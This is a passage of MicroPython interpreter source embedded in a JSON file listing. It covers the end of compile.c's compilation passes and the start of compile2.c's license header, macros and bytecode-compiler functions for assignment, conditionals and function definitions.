ID_INFO_KIND_FREE) {\n                for (int j = 0; j < scope->id_info_len; j++) {\n                    id_info_t *id2 = &scope->id_info[j];\n                    if (id2->kind == ID_INFO_KIND_FREE && id->qst == id2->qst) {\n                        assert(!(id2->flags & ID_FLAG_IS_PARAM)); // free vars should not be params\n                        // in MicroPython the frees come first, before the params\n                        id2->local_num = num_free;\n                        num_free += 1;\n                    }\n                }\n            }\n        }\n        // in MicroPython shift all other locals after the free locals\n        if (num_free > 0) {\n            for (int i = 0; i < scope->id_info_len; i++) {\n                id_info_t *id = &scope->id_info[i];\n                if (id->kind != ID_INFO_KIND_FREE || (id->flags & ID_FLAG_IS_PARAM)) {\n                    id->local_num += num_free;\n                }\n            }\n            scope->num_pos_args += num_free; // free vars are counted as params for passing them into the function\n            scope->num_locals += num_free;\n        }\n    }\n}\n\n#if !MICROPY_PERSISTENT_CODE_SAVE\nSTATIC\n#endif\nmp_raw_code_t *mp_compile_to_raw_code(mp_parse_tree_t *parse_tree, qstr source_file, uint emit_opt, bool is_repl) {\n    // put compiler state on the stack, it's relatively small\n    compiler_t comp_state = {0};\n    compiler_t *comp = &comp_state;\n\n    comp->source_file = source_file;\n    comp->is_repl = is_repl;\n    comp->break_label = INVALID_LABEL;\n    comp->continue_label = INVALID_LABEL;\n\n    // create the module scope\n    scope_t *module_scope = scope_new_and_link(comp, SCOPE_MODULE, parse_tree->root, emit_opt);\n\n    // create standard emitter; it's used at least for MP_PASS_SCOPE\n    emit_t *emit_bc = emit_bc_new();\n\n    // compile pass 1\n    comp->emit = emit_bc;\n    #if MICROPY_EMIT_NATIVE\n    comp->emit_method_table = &emit_bc_method_table;\n    #endif\n    uint max_num_labels = 0;\n    for (scope_t *s = comp->scope_head; s != NULL && comp->compile_error == MP_OBJ_NULL; s = s->next) {\n        if (false) {\n        #if MICROPY_EMIT_INLINE_ASM\n        } else if (s->emit_options == MP_EMIT_OPT_ASM) {\n            compile_scope_inline_asm(comp, s, MP_PASS_SCOPE);\n        #endif\n        } else {\n            compile_scope(comp, s, MP_PASS_SCOPE);\n        }\n\n        // update maximim number of labels needed\n        if (comp->next_label > max_num_labels) {\n            max_num_labels = comp->next_label;\n        }\n    }\n\n    // compute some things related to scope and identifiers\n    for (scope_t *s = comp->scope_head; s != NULL && comp->compile_error == MP_OBJ_NULL; s = s->next) {\n        scope_compute_things(s);\n    }\n\n    // set max number of labels now that it's calculated\n    emit_bc_set_max_num_labels(emit_bc, max_num_labels);\n\n    // compile pass 2 and 3\n#if MICROPY_EMIT_NATIVE\n    emit_t *emit_native = NULL;\n#endif\n    for (scope_t *s = comp->scope_head; s != NULL && comp->compile_error == MP_OBJ_NULL; s = s->next) {\n        if (false) {\n            // dummy\n\n        #if MICROPY_EMIT_INLINE_ASM\n        } else if (s->emit_options == MP_EMIT_OPT_ASM) {\n            // inline assembly\n            if (comp->emit_inline_asm == NULL) {\n                comp->emit_inline_asm = ASM_EMITTER(new)(max_num_labels);\n            }\n            comp->emit = NULL;\n            comp->emit_inline_asm_method_table = &ASM_EMITTER(method_table);\n            compile_scope_inline_asm(comp, s, MP_PASS_CODE_SIZE);\n            #if MICROPY_EMIT_INLINE_XTENSA\n            // Xtensa requires an extra pass to compute size of l32r const table\n            // TODO this can be improved by calculating it during SCOPE pass\n            // but that requires some other structural changes to the asm emitters\n            compile_scope_inline_asm(comp, s, MP_PASS_CODE_SIZE);\n            #endif\n            if (comp->compile_error == MP_OBJ_NULL) {\n                compile_scope_inline_asm(comp, s, MP_PASS_EMIT);\n            }\n        #endif\n\n        } else {\n\n            // choose the emit type\n\n            switch (s->emit_options) {\n\n#if MICROPY_EMIT_NATIVE\n                case MP_EMIT_OPT_NATIVE_PYTHON:\n                case MP_EMIT_OPT_VIPER:\n                    if (emit_native == NULL) {\n                        emit_native = NATIVE_EMITTER(new)(&comp->compile_error, max_num_labels);\n                    }\n                    comp->emit_method_table = &NATIVE_EMITTER(method_table);\n                    comp->emit = emit_native;\n                    EMIT_ARG(set_native_type, MP_EMIT_NATIVE_TYPE_ENABLE, s->emit_options == MP_EMIT_OPT_VIPER, 0);\n                    break;\n#endif // MICROPY_EMIT_NATIVE\n\n                default:\n                    comp->emit = emit_bc;\n                    #if MICROPY_EMIT_NATIVE\n                    comp->emit_method_table = &emit_bc_method_table;\n                    #endif\n                    break;\n            }\n\n            // need a pass to compute stack size\n            compile_scope(comp, s, MP_PASS_STACK_SIZE);\n\n            // second last pass: compute code size\n            if (comp->compile_error == MP_OBJ_NULL) {\n                compile_scope(comp, s, MP_PASS_CODE_SIZE);\n            }\n\n            // final pass: emit code\n            if (comp->compile_error == MP_OBJ_NULL) {\n                compile_scope(comp, s, MP_PASS_EMIT);\n            }\n        }\n    }\n\n    if (comp->compile_error != MP_OBJ_NULL) {\n        // if there is no line number for the error then use the line\n        // number for the start of this scope\n        compile_error_set_line(comp, comp->scope_cur->pn);\n        // add a traceback to the exception using relevant source info\n        mp_obj_exception_add_traceback(comp->compile_error, comp->source_file,\n            comp->compile_error_line, comp->scope_cur->simple_name);\n    }\n\n    // free the emitters\n\n    emit_bc_free(emit_bc);\n#if MICROPY_EMIT_NATIVE\n    if (emit_native != NULL) {\n        NATIVE_EMITTER(free)(emit_native);\n    }\n#endif\n    #if MICROPY_EMIT_INLINE_ASM\n    if (comp->emit_inline_asm != NULL) {\n        ASM_EMITTER(free)(comp->emit_inline_asm);\n    }\n    #endif\n\n    // free the parse tree\n    mp_parse_tree_clear(parse_tree);\n\n    // free the scopes\n    mp_raw_code_t *outer_raw_code = module_scope->raw_code;\n    for (scope_t *s = module_scope; s;) {\n        scope_t *next = s->next;\n        scope_free(s);\n        s = next;\n    }\n\n    if (comp->compile_error != MP_OBJ_NULL) {\n        nlr_raise(comp->compile_error);\n    } else {\n        return outer_raw_code;\n    }\n}\n\nmp_obj_t mp_compile(mp_parse_tree_t *parse_tree, qstr source_file, uint emit_opt, bool is_repl) {\n    mp_raw_code_t *rc = mp_compile_to_raw_code(parse_tree, source_file, emit_opt, is_repl);\n    // return function that executes the outer module\n    return mp_make_function_from_raw_code(rc, MP_OBJ_NULL, MP_OBJ_NULL);\n}\n\n#endif // MICROPY_ENABLE_COMPILER && !MICROPY_USE_SMALL_HEAP_COMPILER\n"
  },
  {
    "path": "micropython/source/py/compile2.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/scope.h\"\n#include \"py/emit.h\"\n#include \"py/compile.h\"\n#include \"py/runtime.h\"\n#include \"py/asmbase.h\"\n\n#if MICROPY_ENABLE_COMPILER && MICROPY_USE_SMALL_HEAP_COMPILER\n\n#if MICROPY_PY_ASYNC_AWAIT\n#error \"async/await syntax not implemented with this parser/compiler\"\n#endif\n\n// TODO need to mangle __attr names\n\n#define INVALID_LABEL (0xffff)\n\ntypedef enum {\n// define rules with a compile function\n#define DEF_RULE(rule, comp, kind, ...) PN_##rule,\n#define DEF_RULE_NC(rule, kind, ...)\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n    PN_const_object, // special node for a constant, generic Python object\n// define rules without a compile function\n#define DEF_RULE(rule, comp, kind, ...)\n#define DEF_RULE_NC(rule, kind, ...) PN_##rule,\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n} pn_kind_t;\n\n#define NEED_METHOD_TABLE MICROPY_EMIT_NATIVE\n\n#if NEED_METHOD_TABLE\n\n// we need a method table to do the lookup for the emitter functions\n#define EMIT(fun) (comp->emit_method_table->fun(comp->emit))\n#define EMIT_ARG(fun, ...) (comp->emit_method_table->fun(comp->emit, __VA_ARGS__))\n#define EMIT_LOAD_FAST(qst, local_num) (comp->emit_method_table->load_id.fast(comp->emit, qst, local_num))\n#define EMIT_LOAD_GLOBAL(qst) (comp->emit_method_table->load_id.global(comp->emit, qst))\n\n#else\n\n// if we only have the bytecode emitter enabled then we can do a direct call to the functions\n#define EMIT(fun) (mp_emit_bc_##fun(comp->emit))\n#define EMIT_ARG(fun, ...) (mp_emit_bc_##fun(comp->emit, __VA_ARGS__))\n#define EMIT_LOAD_FAST(qst, local_num) (mp_emit_bc_load_fast(comp->emit, qst, local_num))\n#define EMIT_LOAD_GLOBAL(qst) (mp_emit_bc_load_global(comp->emit, qst))\n\n#endif\n\n#if MICROPY_EMIT_INLINE_ASM\n// define macros for inline assembler\n#if MICROPY_EMIT_INLINE_THUMB\n#define ASM_DECORATOR_QSTR MP_QSTR_asm_thumb\n#define ASM_EMITTER(f) emit_inline_thumb_##f\n#elif MICROPY_EMIT_INLINE_XTENSA\n#define ASM_DECORATOR_QSTR MP_QSTR_asm_xtensa\n#define ASM_EMITTER(f) emit_inline_xtensa_##f\n#else\n#error \"unknown asm emitter\"\n#endif\n#endif\n\n#define EMIT_INLINE_ASM(fun) (comp->emit_inline_asm_method_table->fun(comp->emit_inline_asm))\n#define EMIT_INLINE_ASM_ARG(fun, ...) (comp->emit_inline_asm_method_table->fun(comp->emit_inline_asm, __VA_ARGS__))\n\n// elements in this struct are ordered to make it compact\ntypedef struct _compiler_t {\n    qstr source_file;\n\n    uint8_t is_repl;\n    uint8_t pass; // holds enum type pass_kind_t\n    uint8_t have_star;\n\n    // try to keep compiler clean from nlr\n    mp_obj_t compile_error; // set to an exception object if there's an error\n    size_t compile_error_line; // set to best guess of line of error\n\n    uint next_label;\n\n    uint16_t num_dict_params;\n    uint16_t num_default_params;\n\n    uint16_t break_label; // highest bit set indicates we are breaking out of a for loop\n    uint16_t continue_label;\n    uint16_t cur_except_level; // increased for SETUP_EXCEPT, SETUP_FINALLY; decreased for POP_BLOCK, POP_EXCEPT\n    uint16_t break_continue_except_level;\n\n    mp_uint_t *co_data;\n\n    size_t num_scopes;\n    scope_t **scopes;\n    scope_t *scope_cur;\n\n    emit_t *emit;                                   // current emitter\n    #if NEED_METHOD_TABLE\n    const emit_method_table_t *emit_method_table;   // current emit method table\n    #endif\n\n    #if MICROPY_EMIT_INLINE_ASM\n    emit_inline_asm_t *emit_inline_asm;                                   // current emitter for inline asm\n    const emit_inline_asm_method_table_t *emit_inline_asm_method_table;   // current emit method table for inline asm\n    #endif\n} compiler_t;\n\nSTATIC void compile_error_set_line(compiler_t *comp, const byte *p) {\n    // if the line of the error is unknown then try to update it from the parse data\n    if (comp->compile_error_line == 0 && p != NULL && pt_is_any_rule(p)) {\n        size_t rule_id, src_line;\n        const byte *ptop;\n        pt_rule_extract(p, &rule_id, &src_line, &ptop);\n        comp->compile_error_line = src_line;\n    }\n}\n\nSTATIC void compile_syntax_error(compiler_t *comp, const byte *p, const char *msg) {\n    // only register the error if there has been no other error\n    if (comp->compile_error == MP_OBJ_NULL) {\n        comp->compile_error = mp_obj_new_exception_msg(&mp_type_SyntaxError, msg);\n        compile_error_set_line(comp, p);\n    }\n}\n\nSTATIC void compile_trailer_paren_helper(compiler_t *comp, const byte *p_arglist, bool is_method_call, int n_positional_extra);\nSTATIC void compile_comprehension(compiler_t *comp, const byte *p, scope_kind_t kind);\nSTATIC const byte *compile_node(compiler_t *comp, const byte *p);\n\nSTATIC uint comp_next_label(compiler_t *comp) {\n    return comp->next_label++;\n}\n\nSTATIC void compile_increase_except_level(compiler_t *comp) {\n    comp->cur_except_level += 1;\n    if (comp->cur_except_level > comp->scope_cur->exc_stack_size) {\n        comp->scope_cur->exc_stack_size = comp->cur_except_level;\n    }\n}\n\nSTATIC void compile_decrease_except_level(compiler_t *comp) {\n    assert(comp->cur_except_level > 0);\n    comp->cur_except_level -= 1;\n}\n\nSTATIC void scope_new_and_link(compiler_t *comp, size_t scope_idx, scope_kind_t kind, const byte *p, uint emit_options) {\n    scope_t *scope = scope_new(kind, p, comp->source_file, emit_options);\n    scope->parent = comp->scope_cur;\n    comp->scopes[scope_idx] = scope;\n}\n\ntypedef void (*apply_list_fun_t)(compiler_t *comp, const byte *p);\n\nSTATIC void apply_to_single_or_list(compiler_t *comp, const byte *p, pn_kind_t pn_list_kind, apply_list_fun_t f) {\n    if (pt_is_rule(p, pn_list_kind)) {\n        const byte *ptop;\n        p = pt_rule_extract_top(p, &ptop);\n        while (p != ptop) {\n            f(comp, p);\n            p = pt_next(p);\n        }\n    } else if (!pt_is_null(p)) {\n        f(comp, p);\n    }\n}\n\nSTATIC void compile_generic_all_nodes(compiler_t *comp, const byte *p, const byte *ptop) {\n    while (p != ptop) {\n        //printf(\"NODE: %02x %02x %02x %02x\\n\", p[0], p[1], p[2], p[3]);\n        p = compile_node(comp, p);\n    }\n}\n\nSTATIC void compile_load_id(compiler_t *comp, qstr qst) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        mp_emit_common_get_id_for_load(comp->scope_cur, qst);\n    } else {\n        #if NEED_METHOD_TABLE\n        mp_emit_common_id_op(comp->emit, &comp->emit_method_table->load_id, comp->scope_cur, qst);\n        #else\n        mp_emit_common_id_op(comp->emit, &mp_emit_bc_method_table_load_id_ops, comp->scope_cur, qst);\n        #endif\n    }\n}\n\nSTATIC void compile_store_id(compiler_t *comp, qstr qst) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        mp_emit_common_get_id_for_modification(comp->scope_cur, qst);\n    } else {\n        #if NEED_METHOD_TABLE\n        mp_emit_common_id_op(comp->emit, &comp->emit_method_table->store_id, comp->scope_cur, qst);\n        #else\n        mp_emit_common_id_op(comp->emit, &mp_emit_bc_method_table_store_id_ops, comp->scope_cur, qst);\n        #endif\n    }\n}\n\nSTATIC void compile_delete_id(compiler_t *comp, qstr qst) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        mp_emit_common_get_id_for_modification(comp->scope_cur, qst);\n    } else {\n        #if NEED_METHOD_TABLE\n        mp_emit_common_id_op(comp->emit, &comp->emit_method_table->delete_id, comp->scope_cur, qst);\n        #else\n        mp_emit_common_id_op(comp->emit, &mp_emit_bc_method_table_delete_id_ops, comp->scope_cur, qst);\n        #endif\n    }\n}\n\nSTATIC void c_tuple(compiler_t *comp, const byte *p, const byte *p_list, const byte *p_list_top) {\n    int total = 0;\n    if (p != NULL) {\n        compile_node(comp, p);\n        total += 1;\n    }\n    while (p_list != p_list_top) {\n        p_list = compile_node(comp, p_list);\n        total += 1;\n    }\n    EMIT_ARG(build_tuple, total);\n}\n\nSTATIC void compile_generic_tuple(compiler_t *comp, const byte *p, const byte *ptop) {\n    // a simple tuple expression\n    c_tuple(comp, NULL, p, ptop);\n}\n\nSTATIC bool node_is_const_false(const byte *p) {\n    return pt_is_tok(p, MP_TOKEN_KW_FALSE)\n        || (pt_is_small_int(p) && pt_small_int_value(p) == 0);\n}\n\nSTATIC bool node_is_const_true(const byte *p) {\n    return pt_is_tok(p, MP_TOKEN_KW_TRUE)\n        || (pt_is_small_int(p) && pt_small_int_value(p) != 0);\n}\n\nSTATIC const byte *c_if_cond(compiler_t *comp, const byte *p, bool jump_if, int label) {\n    if (node_is_const_false(p)) {\n        if (jump_if == false) {\n            EMIT_ARG(jump, label);\n        }\n        return pt_next(p);\n    } else if (node_is_const_true(p)) {\n        if (jump_if == true) {\n            EMIT_ARG(jump, label);\n        }\n        return pt_next(p);\n    } else if (pt_is_any_rule(p)) {\n        const byte *ptop;\n        const byte *p2 = pt_rule_extract_top(p, &ptop);\n        if (pt_is_rule(p, PN_or_test)) {\n            if (jump_if == false) {\n            and_or_logic1:;\n                uint label2 = comp_next_label(comp);\n                while (pt_next(p2) != ptop) {\n                    p2 = c_if_cond(comp, p2, !jump_if, label2);\n                }\n                p2 = c_if_cond(comp, p2, jump_if, label);\n                EMIT_ARG(label_assign, label2);\n            } else {\n            and_or_logic2:\n                while (p2 != ptop) {\n                    p2 = c_if_cond(comp, p2, jump_if, label);\n                }\n            }\n            return p2;\n        } else if (pt_is_rule(p, PN_and_test)) {\n            if (jump_if == false) {\n                goto and_or_logic2;\n            } else {\n                goto and_or_logic1;\n            }\n        } else if (pt_is_rule(p, PN_not_test_2)) {\n            return c_if_cond(comp, p2, !jump_if, label);\n        } else if (pt_is_rule(p, PN_atom_paren)) {\n            // cond is something in parenthesis\n            if (pt_is_rule_empty(p)) {\n                // empty tuple, acts as false for the condition\n                if (jump_if == false) {\n                    EMIT_ARG(jump, label);\n                }\n            } else {\n                assert(pt_is_rule(pt_rule_first(p), PN_testlist_comp));\n                // non-empty tuple, acts as true for the condition\n                if (jump_if == true) {\n                    EMIT_ARG(jump, label);\n                }\n            }\n            return pt_next(p);\n        }\n    }\n\n    // nothing special, fall back to default compiling for node and jump\n    p = compile_node(comp, p);\n    EMIT_ARG(pop_jump_if, jump_if, label);\n    return p;\n}\n\ntypedef enum { ASSIGN_STORE, ASSIGN_AUG_LOAD, ASSIGN_AUG_STORE } assign_kind_t;\nSTATIC void c_assign(compiler_t *comp, const byte *p, assign_kind_t kind);\n\nSTATIC void c_assign_atom_expr(compiler_t *comp, const byte *p_orig, assign_kind_t assign_kind) {\n    const byte *ptop;\n    const byte *p0 = pt_rule_extract_top(p_orig, &ptop);\n\n    if (assign_kind != ASSIGN_AUG_STORE) {\n        compile_node(comp, p0);\n    }\n\n    const byte *p1 = pt_next(p0);\n\n    if (pt_is_null_with_top(p1, ptop)) {\n    cannot_assign:\n        compile_syntax_error(comp, p_orig, \"can't assign to expression\");\n        return;\n    }\n\n    if (pt_is_rule(p1, PN_atom_expr_trailers)) {\n        const byte *p1top;\n        p1 = pt_rule_extract_top(p1, &p1top);\n        for (;;) {\n            const byte *p1next = pt_next(p1);\n            if (p1next >= p1top) {\n                break;\n            }\n            if (assign_kind != ASSIGN_AUG_STORE) {\n                compile_node(comp, p1);\n            }\n            p1 = p1next;\n        }\n        // p1 now points to final trailer for store\n    }\n\n    if (pt_is_rule(p1, PN_trailer_bracket)) {\n        if (assign_kind == ASSIGN_AUG_STORE) {\n            EMIT(rot_three);\n            EMIT(store_subscr);\n        } else {\n            compile_node(comp, pt_rule_first(p1));\n            if (assign_kind == ASSIGN_AUG_LOAD) {\n                EMIT(dup_top_two);\n                EMIT(load_subscr);\n            } else {\n                EMIT(store_subscr);\n            }\n        }\n    } else if (pt_is_rule(p1, PN_trailer_period)) {\n        qstr attr;\n        pt_extract_id(pt_rule_first(p1), &attr);\n        if (assign_kind == ASSIGN_AUG_LOAD) {\n            EMIT(dup_top);\n            EMIT_ARG(load_attr, attr);\n        } else {\n            if (assign_kind == ASSIGN_AUG_STORE) {\n                EMIT(rot_two);\n            }\n            EMIT_ARG(store_attr, attr);\n        }\n    } else {\n        goto cannot_assign;\n    }\n\n    if (!pt_is_null_with_top(pt_next(p1), ptop)) {\n        goto cannot_assign;\n    }\n}\n\n// we need to allow for a caller passing in 1 initial node followed by an array of nodes\nSTATIC void c_assign_tuple(compiler_t *comp, const byte *p_head, const byte *p_tail, const byte *p_tail_top) {\n    uint num_head = (p_head == NULL) ? 0 : 1;\n    uint num_tail = pt_num_nodes(p_tail, p_tail_top);\n\n    // look for star expression\n    const byte *p_star = NULL;\n    if (num_head != 0 && pt_is_rule(p_head, PN_star_expr)) {\n        EMIT_ARG(unpack_ex, 0, num_tail);\n        p_star = p_head;\n    }\n    uint i = 0;\n    for (const byte *p = p_tail; p != p_tail_top; p = pt_next(p), ++i) {\n        if (pt_is_rule(p, PN_star_expr)) {\n            if (p_star == NULL) {\n                EMIT_ARG(unpack_ex, num_head + i, num_tail - i - 1);\n                p_star = p;\n            } else {\n                compile_syntax_error(comp, p, \"multiple *x in assignment\");\n                return;\n            }\n        }\n    }\n    if (p_star == NULL) {\n        EMIT_ARG(unpack_sequence, num_head + num_tail);\n    }\n    if (num_head != 0) {\n        if (p_head == p_star) {\n            c_assign(comp, pt_rule_first(p_head), ASSIGN_STORE);\n        } else {\n            c_assign(comp, p_head, ASSIGN_STORE);\n        }\n    }\n    for (const byte *p = p_tail; p != p_tail_top; p = pt_next(p)) {\n        if (p == p_star) {\n            c_assign(comp, pt_rule_first(p), ASSIGN_STORE);\n        } else {\n            c_assign(comp, p, ASSIGN_STORE);\n        }\n    }\n}\n\n// assigns top of stack to pn\nSTATIC void c_assign(compiler_t *comp, const byte *p, assign_kind_t assign_kind) {\n    assert(!pt_is_null(p));\n    if (pt_is_any_id(p)) {\n        qstr arg;\n        p = pt_extract_id(p, &arg);\n        switch (assign_kind) {\n            case ASSIGN_STORE:\n            case ASSIGN_AUG_STORE:\n                compile_store_id(comp, arg);\n                break;\n            case ASSIGN_AUG_LOAD:\n            default:\n                compile_load_id(comp, arg);\n                break;\n        }\n    } else if (!pt_is_any_rule(p)) {\n        compile_syntax_error(comp, p, \"can't assign to literal\");\n    } else {\n        switch (pt_rule_extract_rule_id(p)) {\n            case PN_atom_expr_normal:\n                // lhs is an index or attribute\n                c_assign_atom_expr(comp, p, assign_kind);\n                break;\n\n            case PN_testlist_star_expr:\n            case PN_exprlist: {\n                // lhs is a tuple\n                if (assign_kind != ASSIGN_STORE) {\n                    goto bad_aug;\n                }\n                const byte *ptop;\n                const byte *p0 = pt_rule_extract_top(p, &ptop);\n                c_assign_tuple(comp, NULL, p0, ptop);\n                break;\n            }\n\n            case PN_atom_paren: {\n                // lhs is something in parenthesis\n                const byte *ptop;\n                const byte *p0 = pt_rule_extract_top(p, &ptop);\n                if (pt_is_null_with_top(p0, ptop)) {\n                    // empty tuple\n                    goto cannot_assign;\n                } else {\n                    assert(pt_is_rule(p0, PN_testlist_comp));\n                    if (assign_kind != ASSIGN_STORE) {\n                        goto bad_aug;\n                    }\n                    p = p0;\n                    goto testlist_comp;\n                }\n                break;\n            }\n\n            case PN_atom_bracket: {\n                // lhs is something in brackets\n                if (assign_kind != ASSIGN_STORE) {\n                    goto bad_aug;\n                }\n                const byte *ptop;\n                const byte *p0 = pt_rule_extract_top(p, &ptop); // skip rule header\n                if (pt_is_null_with_top(p0, ptop)) {\n                    // empty list, assignment allowed\n                    c_assign_tuple(comp, NULL, NULL, NULL);\n                } else if (pt_is_rule(p0, PN_testlist_comp)) {\n                    p = p0;\n                    goto testlist_comp;\n                } else {\n                    // brackets around 1 item\n                    c_assign_tuple(comp, p0, NULL, NULL);\n                }\n                break;\n            }\n\n            default:\n                goto cannot_assign;\n        }\n        return;\n\n        testlist_comp:;\n        // lhs is a sequence\n        const byte *ptop;\n        const byte *p0 = pt_rule_extract_top(p, &ptop);\n        const byte *p1 = pt_next(p0);\n        if (pt_is_rule(p1, PN_testlist_comp_3b)) {\n            // sequence of one item, with trailing comma\n            assert(pt_is_rule_empty(p1));\n            c_assign_tuple(comp, p0, NULL, NULL);\n        } else if (pt_is_rule(p1, PN_testlist_comp_3c)) {\n            // sequence of many items\n            p1 = pt_rule_extract_top(p1, &ptop);\n            c_assign_tuple(comp, p0, p1, ptop);\n        } else if (pt_is_rule(p1, PN_comp_for)) {\n            goto cannot_assign;\n        } else {\n            // sequence with 2 items\n            c_assign_tuple(comp, NULL, p0, pt_next(p1));\n        }\n    }\n    return;\n\n    cannot_assign:\n    compile_syntax_error(comp, p, \"can't assign to expression\");\n    return;\n\n    bad_aug:\n    compile_syntax_error(comp, p, \"illegal expression for augmented assignment\");\n}\n\n// stuff for lambda and comprehensions and generators:\n//  if n_pos_defaults > 0 then there is a tuple on the stack with the positional defaults\n//  if n_kw_defaults > 0 then there is a dictionary on the stack with the keyword defaults\n//  if both exist, the tuple is above the dictionary (ie the first pop gets the tuple)\nSTATIC void close_over_variables_etc(compiler_t *comp, scope_t *this_scope, int n_pos_defaults, int n_kw_defaults) {\n    assert(n_pos_defaults >= 0);\n    assert(n_kw_defaults >= 0);\n\n    // set flags\n    if (n_kw_defaults > 0) {\n        this_scope->scope_flags |= MP_SCOPE_FLAG_DEFKWARGS;\n    }\n    this_scope->num_def_pos_args = n_pos_defaults;\n\n    // make closed over variables, if any\n    // ensure they are closed over in the order defined in the outer scope (mainly to agree with CPython)\n    int nfree = 0;\n    if (comp->scope_cur->kind != SCOPE_MODULE) {\n        for (int i = 0; i < comp->scope_cur->id_info_len; i++) {\n            id_info_t *id = &comp->scope_cur->id_info[i];\n            if (id->kind == ID_INFO_KIND_CELL || id->kind == ID_INFO_KIND_FREE) {\n                for (int j = 0; j < this_scope->id_info_len; j++) {\n                    id_info_t *id2 = &this_scope->id_info[j];\n                    if (id2->kind == ID_INFO_KIND_FREE && id->qst == id2->qst) {\n                        // in Micro Python we load closures using LOAD_FAST\n                        EMIT_LOAD_FAST(id->qst, id->local_num);\n                        nfree += 1;\n                    }\n                }\n            }\n        }\n    }\n\n    // make the function/closure\n    if (nfree == 0) {\n        EMIT_ARG(make_function, this_scope, n_pos_defaults, n_kw_defaults);\n    } else {\n        EMIT_ARG(make_closure, this_scope, nfree, n_pos_defaults, n_kw_defaults);\n    }\n}\n\nSTATIC void compile_funcdef_lambdef_param(compiler_t *comp, const byte *p) {\n    const byte *p_orig = p;\n\n    if (pt_is_rule(p, PN_typedargslist_star)\n        || pt_is_rule(p, PN_varargslist_star)) {\n        comp->have_star = true;\n        /* don't need to distinguish bare from named star\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) {\n            // bare star\n        } else {\n            // named star\n        }\n        */\n\n    } else if (pt_is_rule(p, PN_typedargslist_dbl_star)\n        || pt_is_rule(p, PN_varargslist_dbl_star)) {\n        // named double star\n        // TODO do we need to do anything with this?\n\n    } else {\n        const byte *p_id;\n        const byte *p_colon = NULL;\n        const byte *p_equal = NULL;\n        if (pt_is_any_id(p)) {\n            // this parameter is just an id\n\n            p_id = p;\n\n        } else if (pt_is_rule(p, PN_typedargslist_name)) {\n            // this parameter has a colon and/or equal specifier\n\n            const byte *ptop;\n            p = pt_rule_extract_top(p, &ptop);\n\n            p_id = p;\n            p = pt_next(p);\n            if (p != ptop) {\n                p_colon = p;\n                p = pt_next(p);\n                if (p != ptop) {\n                    p_equal = p;\n                }\n            }\n\n        } else {\n            assert(pt_is_rule(p, PN_varargslist_name)); // should be\n            // this parameter has an equal specifier\n\n            p_id = pt_rule_first(p);\n            p_equal = pt_next(p_id);\n        }\n\n        qstr q_id;\n        pt_extract_id(p_id, &q_id);\n\n        if (p_equal == NULL || pt_is_null(p_equal)) {\n            // this parameter does not have a default value\n\n            // check for non-default parameters given after default parameters (allowed by parser, but not syntactically valid)\n            if (!comp->have_star && comp->num_default_params != 0) {\n                compile_syntax_error(comp, p_orig, \"non-default argument follows default argument\");\n                return;\n            }\n\n        } else {\n            // this parameter has a default value\n            // in CPython, None (and True, False?) as default parameters are loaded with LOAD_NAME; don't understandy why\n\n            if (comp->have_star) {\n                comp->num_dict_params += 1;\n                // in Micro Python we put the default dict parameters into a dictionary using the bytecode\n                if (comp->num_dict_params == 1) {\n                    // in Micro Python we put the default positional parameters into a tuple using the bytecode\n                    // we need to do this here before we start building the map for the default keywords\n                    if (comp->num_default_params > 0) {\n                        EMIT_ARG(build_tuple, comp->num_default_params);\n                    } else {\n                        EMIT(load_null); // sentinel indicating empty default positional args\n                    }\n                    // first default dict param, so make the map\n                    EMIT_ARG(build_map, 0);\n                }\n\n                // compile value then key, then store it to the dict\n                compile_node(comp, p_equal);\n                EMIT_ARG(load_const_str, q_id);\n                EMIT(store_map);\n            } else {\n                comp->num_default_params += 1;\n                compile_node(comp, p_equal);\n            }\n        }\n\n        // TODO p_colon not implemented\n        (void)p_colon;\n    }\n}\n\nSTATIC void compile_funcdef_lambdef(compiler_t *comp, scope_t *scope, const byte *p, pn_kind_t pn_list_kind) {\n    // When we call compile_funcdef_lambdef_param below it can compile an arbitrary\n    // expression for default arguments, which may contain a lambda.  The lambda will\n    // call here in a nested way, so we must save and restore the relevant state.\n    bool orig_have_star = comp->have_star;\n    uint16_t orig_num_dict_params = comp->num_dict_params;\n    uint16_t orig_num_default_params = comp->num_default_params;\n\n    // compile default parameters\n    comp->have_star = false;\n    comp->num_dict_params = 0;\n    comp->num_default_params = 0;\n    apply_to_single_or_list(comp, p, pn_list_kind, compile_funcdef_lambdef_param);\n\n    if (comp->compile_error != MP_OBJ_NULL) {\n        return;\n    }\n\n    // in Micro Python we put the default positional parameters into a tuple using the bytecode\n    // the default keywords args may have already made the tuple; if not, do it now\n    if (comp->num_default_params > 0 && comp->num_dict_params == 0) {\n        EMIT_ARG(build_tuple, comp->num_default_params);\n        EMIT(load_null); // sentinel indicating empty default keyword args\n    }\n\n    // make the function\n    close_over_variables_etc(comp, scope, comp->num_default_params, comp->num_dict_params);\n\n    // restore state\n    comp->have_star = orig_have_star;\n    comp->num_dict_params 